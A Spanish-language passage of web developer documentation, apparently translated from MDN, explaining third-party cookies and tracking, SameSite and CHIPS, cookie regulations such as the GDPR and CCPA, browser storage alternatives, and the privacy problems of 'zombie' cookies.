dominio es distinto, se denomina cookie de terceros. Si bien las cookies de origen se envían
únicamente al servidor que las configura, una página web puede contener imágenes u otros
componentes almacenados en servidores de otros dominios (como publicidad). Las cookies
que se envían a través de estos componentes de terceros se utilizan principalmente para
publicidad y seguimiento en la web. Por ejemplo, los tipos de cookies utilizadas por
Google.

Un servidor de terceros puede crear un perfil del historial y los hábitos de navegación de un
usuario basándose en las cookies que le envía el mismo navegador al acceder a varios
sitios. Firefox, de forma predeterminada, bloquea las cookies de terceros que se sabe que
contienen rastreadores. Las cookies de terceros (o simplemente las cookies de seguimiento)
también pueden bloquearse mediante otras configuraciones o extensiones del navegador. El
bloqueo de cookies puede provocar que algunos componentes de terceros (como los
widgets de redes sociales) no funcionen según lo previsto.

Hay algunas funciones útiles disponibles para los desarrolladores que desean respetar la
privacidad del usuario y minimizar el seguimiento de terceros:

 Los servidores pueden (y deberían) configurar el atributo SameSite para especificar

si se pueden enviar o no cookies de terceros.
 Las cookies que tienen un estado de partición independiente (CHIPS) les permiten a
los desarrolladores habilitar sus cookies en el almacenamiento particionado, con un
contenedor de cookies separado por sitio de nivel superior. Esto permite que los
usos válidos sin seguimiento de cookies de terceros sigan funcionando en
navegadores que no permiten el uso de cookies para el seguimiento de terceros.

Regulaciones relacionadas a las cookies

La legislación o normativa que cubre el uso de cookies incluye:

 El Reglamento General de Privacidad de Datos (RGPD) en la Unión Europea

 La Directiva sobre la privacidad electrónica en la Unión Europea
 Ley de Privacidad del Consumidor de California (CCPA)

Estas regulaciones tienen alcance global. Se aplican a cualquier sitio del internet al que
accedan usuarios de estas jurisdicciones (la UE y California, con la salvedad de que la ley
de California se aplica sólo a entidades con ingresos brutos superiores a 25 millones de
dólares, entre otras cosas).

Estas regulaciones incluyen requisitos tales como:

 Notificar a los usuarios que el sitio utiliza cookies.

  Permitir a los usuarios escoger no recibir algunas o todas las cookies.
 Permitir a los usuarios utilizar la mayor parte del servicio sin recibir cookies.

Puede haber otras regulaciones que rijan el uso de cookies en tu ubicación. La carga de
conocer y cumplir estas regulaciones recae sobre usted. Hay empresas que ofrecen un
código de "banner de cookies" que le ayuda a cumplir con estas normativas.

Otras formas de almacenar información en el navegador

Otro enfoque para almacenar datos en el navegador es la API de almacenamiento web. Las
propiedades [Link] y [Link] corresponden a cookies de
sesión y permanentes en duración, pero tienen límites de almacenamiento mayores que las
cookies y nunca se envían a un servidor. Se pueden almacenar cantidades de datos más
estructuradas y mayores utilizando la API IndexedDB o una biblioteca construida sobre
ella.

Existen algunas técnicas diseñadas para recrear las cookies después de eliminarlas. Se
conocen como cookies "zombies". Estas técnicas violan los principios de privacidad y
control del usuario, pueden violar las regulaciones de privacidad de datos y podrían
exponer a un sitio web que las utilice a responsabilidad legal.

Mas sobre tema:

 Documentación:

[Link]